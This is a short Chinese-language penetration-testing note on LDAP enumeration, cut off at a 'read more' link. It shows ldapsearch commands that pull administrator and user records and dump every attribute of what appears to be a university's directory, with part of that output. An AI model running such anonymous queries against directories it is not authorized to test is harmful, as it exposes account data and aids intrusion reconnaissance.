    1.cat /etc/nsswitch
    看看密码登录策略我们可以看到使用了file ldap模式

    2.less /etc/ldap.conf
    base ou=People,dc=unix-center,dc=net
    找到ou,dc,dc设置

    3.查找管理员信息
    匿名方式
    ldapsearch -x -D “cn=administrator,cn=People,dc=unix-center,dc=net” -b “cn=administrator,cn=People,dc=unix-center,dc=net” -h 192.168.2.2
    有密码形式
    ldapsearch -x -W -D “cn=administrator,cn=People,dc=unix-center,dc=net” -b “cn=administrator,cn=People,dc=unix-center,dc=net” -h 192.168.2.2

    4.查找10条用户记录
    ldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口

    渗透实战:
    1.返回所有的属性
    ldapsearch -h 192.168.7.33 -b “dc=ruc,dc=edu,dc=cn” -s sub “objectclass=*”
    version: 1
    dn: dc=ruc,dc=edu,dc=cn
    dc: ruc
    objectClass: domain

    dn: uid=manager,dc=ruc,dc=edu,dc=cn
    uid: manager
    objectClass: inetOrgPerson
    objectClass: organizationalPerson
    objectClass: person
    objectClass: top
    sn: manager
    cn: manager
    阅读全文…